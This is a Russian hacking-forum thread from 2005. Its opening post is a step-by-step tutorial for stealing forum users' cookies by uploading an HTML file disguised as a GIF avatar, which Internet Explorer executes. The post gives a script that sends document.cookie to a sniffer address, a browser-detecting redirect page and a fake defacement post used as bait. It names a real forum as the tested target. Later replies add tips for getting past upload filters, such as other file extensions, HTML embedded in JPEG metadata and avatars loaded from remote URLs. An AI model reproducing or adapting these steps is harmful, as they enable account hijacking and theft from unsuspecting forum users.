Авторские статьи Баг в ИЕ (отображение html в изображениях). Как юзать.

Discussion in 'Статьи' started by censored!, 8 Oct 2005.

  1. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    156
    Статью начал писать давно, но все что-то руки не доходили закончить. А тут - приболел малость. Вообщем - появилось n-e количество времени.
    О чем: бага в ИЕ с отображением html-кода содержащегося в изображении известна давно и многим. Но, что-то, как-то публично не очень юзалась. А может просто забыли? Ну вот и вспомним:
    ---------------------------------------------
    Если ничего не помогает, а выполнить произвольный html-код в браузере жертвы очень хочется, тогда остается последняя надежда - IE (Internet Explorer) у жертвы. Которым она бороздит просторы инета и портит вам нервы (канешна портит. иначе зачем вам она была бы нужна?)
    --
    Справка для тех у кого нет Интернета: внедрение произвольного html-кода на страницу сайта которую смотрит жертва называют CSS.
    Так как уже есть такая аббревиатура и чтобы не путать с CSS - Каскадными Таблицами Стилей, такую хрень стали называть XSS.
    А если мы можем внедрять любой html-код на страницу которую жертва посещает и там зарегистрирована, то мы имеем возможность:
    получить сессию, логин, пароль (хэш пароля), сменить в анкете или настройках какие нить данные (если нам это позволительно), ну и совершать иные действия от имени жертвы (но без ее ведома и согласия).
    Если, например, брать он-лайн игры - то можем перевести деньги другому игроку. При условии, что на перевод не стоит ввод пароля или не требуется ввод контрольных цифр или к.слова (которое с нормальным то зрением фиг прочитаешь), или не требуется всяческих подтверждений. Ну, или, выложить на Рынок всю амуницию жертвы по минимальной цене и потом все скупить. Вариантов очень много.
    --
    Где использовать: Практически везде, где есть возможность загрузки изображений (аватарок, фоток с ваших пьянок-посиделок и т.п.). Т.е. - форумы, чаты, службы знакомств, некоторые почтовые сервисы, он-лайн игры, etc...
    Что нужно: немножко везения, ИЕ у жертвы, steep-by-steep который ниже.
    ---------------------------------------------
    steep-by-steep:Чтобы было более понятнее, надо показывать на примере чего-либо (какого-нить сайта). Выберем этот сайт-пример. Лучше - Форум.
    Чтобы выбор был чисто случайным и не было обвинений в предвзятости, используем маленький кусочек кода на JavaScript, который нам случайно (считай RND) сгенерит адрес этого сайта-примера:
    ...
    Code:
    <script language="JavaScript">
    var domen = "qwtyiosxakep.rudfghjlzcvbnm";
    max = 27; 
    for (i=0;i==i;i++)
    	{
    	var RandomTime=new Date();
    	var z=(RandomTime.getSeconds())%max;
    	if (z=="6")
    		{
    		alert(domen.substring(z+1,15))
    		break;
    		}
    	}
    </script>
    ...
    Запускаем... Ждем... Получаем: xakep.ru Хм... Забавно и неожиданно получилось... :)
    Ну Ок. Идем тогда туда и смотрим что там есть. А там есть Форум (http://forum.xakep.ru/). Этот Форум (Ideal BB) примечателен тем, что в куках хранит пароль в открытом виде...
    --
    Начинаем готовиться:
    1.На некоторое время оставляем Форум и лезем на сайт narod.ru регистрировать себе там якобы "взломанный" нами сайт (для этого примера).
    Я зарегистрировал http://www.protivhackerov.narod.ru
    2.Открываем Блокнот, и пишем там следующий html-код:
    ...
    Code:
    <body onloаd="javаscript:document.locatiоn.replаce('http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru/index.htm')">
    <script language="JavаScript"> 
    img = nеw Imаge(); img.srс = "http://АДРЕС_СНИФЕРА.ru/snifer.php?"+document.cookie;
    </script>
    ...
    После чего сохраняем, например, под именем bad_avatar.gif (т.е. это у нас будет изображение содержащее html-код)
    3.Заходим на сайт-пример (у нас это http://forum.xakep.ru/) и регистрируемся там под любым ником.
    После прохождения регистрации, заходим в "Мой профиль"-"Редактировать профайл" там чуть ниже "Загрузить свой аватар на сервер." жмем "Обзор", выбираем наш bad_avatar.gif, жмем кнопку "Загрузить"... Вместо Аватарки будет показываться крестик (что правильно. у нас же там не изображение, а html-код). После всех этих процедур тыкаем правой кнопкой мышки в Аватарку, выбираем свойства и копируем полный путь (URL) нашей аватарки.
    4.Открываем Блокнот (или в чем ты там изгаляешься?), и пишем там этот html-код (как урезанный пример):
    ...
    Code:
    <html><head><title>Сайт взломан!</title></head><body>Типа взломал</body></html>
    ...
    Сохраняем как index.htm
    5.Опять открываем Блокнот и пишем (ctrl+c/ctrl+v) там это:
    ...
    Code:
    <html><head></head><body>
    <script lаnguage="JavaScript"> 
    <!--  
    if (navigаtor.appNamе=="Microsoft Internet Explorer") windоw.locаtion.href="http://forum.xakep.ru/avatars/НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГРУЖЕНОЙ_НА_СЕРВЕР.gif"; 
    else windоw.locаtion.hrеf="http://www.protivhackerov.narod.ru/index.htm"; 
    // --> 
    </script></body></html><noscript><noscript><plаintext><plaintext>
    ...
    Сохраняем как index.html
    ...
    6.Заходим в "Мастерскую" Народ_Ру (или по ftp) и закачиваем на сайт АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru (у нас это http://www.protivhackerov.narod.ru) эти две странички: index.htm и index.html
    --
    Справка для тех у кого нет Интернета:
    Мы создали две индекс-странички. Одна (index.htm) - наш якобы "взломанный" сайт, вторая (index.html) у нас будет промежуточным звеном.
    Почему два индекса? Потому что на Народ_Ру если зайти по ссылке http://www.protivhackerov.narod.ru отобразиться страница index.html Т.е. тоже самое если бы мы зашли так: http://www.protivhackerov.narod.ru/index.html если же не будет страницы index.html то сервер будет искать в корне сайта страницу index.htm
    И нам они нужны именно две с одинаковыми названиями (разными расширениями), чтобы как то "замылить" глаз нашей жертве.
    ...
    На странице index.html (в конце) после тэга </html> мы ставим <noscript><noscript><plaintext><plaintext> чтобы "убить" баннер Народ_Ру, который предательски показывается в правом верхнем углу.
    ...
    7.Все. У нас все готово, настроено и прописано. Теперь топаем на Форум, регистрируем себе новое и нормальное имя, выставляем нормальный Аватар, лезем и создаем новую тему. Типа: "Аллоха, Гавайи! Народ, зацените, плиз, мой самый первый и очччень грамотный дефейс! http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru И отписывайтесь здесь, как он Вам?"
    --
    Справка для тех у кого нет Интернета:После того, как многие полезут заценивать твой грамотный дефейс, будет происходить вот что:
    Когда они зайдут по ссылке http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru, то им загрузиться страница index.html на которой проверяется какой Браузер у посетителя. Если не ИЕ - то облом`с и перекидываем его на страницу index.htm (непосредственно страница нашего "взломанного" сайта).
    Если же ИЕ, то посетитель перекидывается на наш загруженный bad_avatar.gif и после отсылки cookie к тебе на снифер, перекидывается на страницу index.htm где и лицезреет твой дефейс...
    --
    Ну а дальше ты топаешь и смотришь логи своего снифера, и радостно собираешь урожай...
    ---------------------------------------------
    Справка для тех у кого нет Интернета (типа переменные):
    http://www.АДРЕС_ЯКОБЫ_ВЗЛОМАННОГО_САЙТА.narod.ru - адрес липового сайта, куда будем заманивать жертву
    bad_avatar.gif - наше псевдоизображение содержащее html-код
    НАЗВАНИЕ_АВАТАРКИ_УЖЕ_ЗАГРУЖЕНОЙ_НА_СЕРВЕР.gif - это новое название нашей Аватарки bad_avatar.gif, но уже загруженной (при загрузке - может поменяться имя)
    http://АДРЕС_СНИФЕРА.ru/snifer.php - адрес вашего снифера, который будет принимать и заботливо складировать переданные ему куки
    index.htm - непосредственно страница с липовым Дефейсом
    index.html - страница, которая у нас играет роль перекрестка (редирект). Если ИЕ - то на аватарку (куки передаются сниферу) и потом на index.htm, если не ИЕ - то сразу на index.htm
    steep-by-steep - просто название. шаг-за-шагом (по-шагово)
    --
    Справка для тех у кого нет Интернета:
    Ты лучше скажи - как ты вообще сюда попал, коли инета у тебя нету? ;)
    ---------------------------------------------
    С Уважением, censored! [antichat.ru]


    ---------------------------------------------
    p.s. сайт xakep.ru был выбран случайно (код JS вверху) =)

    p.s.s. все было проверено на Форуме xakep.ru, но с единственной лишь разницей, что тема (как в п.7) не создавалась.
    + на настоящий момент загрузка Аватарок что-то вообще не работает.

    p.s.s.s. Вот уже загруженная Аватарка (не bad_avatar.gif, а другая - как пример) покажет alert-ом куки: http://forum.xakep.ru/avatars/avatar15.gif (!!!)

    p.s.s.s.s. В JS-код как мог выставил "защиту от дурака". Не маленькие уже. Сами разберетесь. :)
     
    _________________________
    #1 censored!, 8 Oct 2005
    Last edited: 8 Oct 2005
    10 people like this.
  2. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Спасибо интересная статья , я даже на принтере напичатал его, но у меня маленкий вопрос, это всё делается на одной страничке индекс,или саздаём несколько страниц, для каждого кода и скрипта?.
     
  3. -artik-

    -artik- Banned

    Joined:
    13 Jun 2005
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    2Tem там же написано блин=)

    2cencored! спасибо, отлиная статья!
     
  4. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Хорошая статья, могу только добавить, что часто на форумах аватара со скриптом не загружается с харда-но отлично загружается с ссылки. И ещё один способ залить такую "картинку" на форум-отправить её самому себе в личном сообщении.
     
  5. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    Да...хотелось бы дополнить, что со следующими расширениями тож прокатывает описанная фича:avi,bmp,gif,jpeg,jpg,mpeg,mpg,ogg,pdf,png,rar,txt если с ними не ассоциированны невиндовые проги...
    Например адрес типа http://server.com/foto_from_party.rar
    ничего подозрительного не вызывает...
     
  6. Rabid Rabbit

    Rabid Rabbit Elder - Старейшина

    Joined:
    31 Aug 2003
    Messages:
    161
    Likes Received:
    15
    Reputations:
    -9
    Пеши исчо:)
    Кста сервак отдает Content-Type: image/gif но ИЕ типо "умный" и недоверяет))
    Да на хакере.ру Server: Microsoft-IIS/6.0 - упал пацтул)))))))))
     
  7. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    534
    Likes Received:
    66
    Reputations:
    49
    А маленький, зелёнинький прямоугольничек под твоей аватаркой, наведи курсор туда и подожди, вылезет типа подсказки, и будет написана репутация. А свою можешь просмотреть в профиле.
    сорри за оффтоп
     
  8. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    Бага действительно старая, а в статье мне понравилась интересная реализация. Довольно неплохо.
    Кстати и в моей пропаченой версии осла скрипт тоже выполняется и вот вопрос сам билл, что думает об этом? Считают ли разроботчики выполнение скрипта в картинке ошибкой?=)
     
  9. Rabid Rabbit

    Rabid Rabbit Elder - Старейшина

    Joined:
    31 Aug 2003
    Messages:
    161
    Likes Received:
    15
    Reputations:
    -9
    Чта думает бил знаит тока сам бил, с вапросами к ниму))
    Лична я предпалагаю что не тока нают но и счетают эта не багом а фичей)) Боле таго такое павидение задумывалась с самага начала. Кодеры из мелкасофт ведь ни зря счетают сибя самемы умными ))
     
  10. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Да, я тож думаю что они считают это фичей.
    В принципе такое поведение браузера довольно логично. Он не обращает внимания на расширение файла, потому как оно ваще может быть любым.
    Например адрес http://blablabla.ru/image.php?index=2434 тоже может быть картинкой, однако из расширения этого не видно.
    А вот то, что он игнорирует хидер HTTP запроса это уже не так хорошо.
    Но и здесь есть логика. Дело в том, что сам сервер может не знать что именно он отсылает. Все тот же скрипт http://blablabla.ru/image.php?index=2434 может как присылать в хидере информацию о типе данных, так и не присылать - все зависит от воли разработчика.
    Поэтому IE и не доверяет хидерам, а пытается парсить контент на ходу. Опера и мозиллы действуют проще - они тупо открывают файл в соответствии с инфой в хидере.

    Кстати более интересный вариант, чем просто замена картинки хтмлом - это совмещение картинки и ХТМЛ в одном файле. Дело в том, что некоторые форматы JPEG поддерживают т.н. метатеги - это символьные поля, в которых может содержаться информация о картинке или об авторе. В эти поля естественно можно внедрить и HTML. В таком случае IE воспринимает этот файл как HTML, в то время как он на самом деле является вполне корректной картинкой )))
    (и свободно проходит сквозь различные фильтры, проверяющие контент). Кроме того, такой файл отображается в Опере как нормальная картинка))
     
  11. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Поэтому я всегда говорю - ИЕ самый юзерфрендли браузер, но у него из-за этого сурьезные проблемы с безопасностью
     
  12. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    935
    Likes Received:
    396
    Reputations:
    261
    Статья супер мне понравилась а интресно можно шелл загрузить?
     
  13. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Ну конечно можно! А зачем иначе куки воровать?
     
  14. Mina

    Mina New Member

    Joined:
    13 Oct 2005
    Messages:
    11
    Likes Received:
    0
    Reputations:
    0
    Непознаёт ету картинку ни один форум мне:
    The avatar filetype must be .jpg, .gif or .png
     
  15. *Van*

    *Van* Elder - Старейшина

    Joined:
    14 Aug 2005
    Messages:
    365
    Likes Received:
    19
    Reputations:
    12
    Mina, загружай аватару с сервера- т.е. залей картинку на какой-нибудь сайт(ну или если нет-то тогда создай на том же холме), а потом загружай картинку с сервера, например в phpbb2 есть такая функция.
     
  16. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    А в панбб не работает!!! Матюкается что не подерживает тип. Кто его учил внутрь файла лезть и че-то там читать?
    Кстати, по какому принципу действует
    PHP:
    $allowed_types = array('image/gif''image/jpeg''image/pjpeg''image/png''image/x-png');
    if (!
    in_array($uploaded_file['type'], $allowed_types))
    message($lang_profile['Bad type']);
    Кто-нибудь знает, как определяется $uploaded_file['type']? очень важно. Может в конец гифа можно приписать хтмл или наоборот?
     
    #16 vvs777, 5 Nov 2005
    Last edited: 6 Nov 2005
  17. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    По разрешению файла он определяется.
    И что с того, что ты допишешь хтмл в конце?
     
  18. ISRAEL

    ISRAEL Banned

    Joined:
    29 Jul 2005
    Messages:
    68
    Likes Received:
    2
    Reputations:
    0
    Ну да можно подумать ) но было интересно почетать много таких способов было )))
     
  19. Фантастика

    Joined:
    11 Nov 2005
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    фуфло да не болие! Ну какой Ламер будет кликать на аватару с кодом причём где он видет что в картинке плюсик???

    С таким же ходом можно просто ссылку на страницу со сниффером кинуть.

    Бред как вы такие статьи воощбе писать любити меня просто поражает это!
     
  20. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    156
    Прочитай статью еще раз. Внимательно. Где там написано "юзер должен тыкнуть на аватар"?

    И? И что ты этим добьешься?

    Вот такие вот мы любители-извращенцы.
     
    _________________________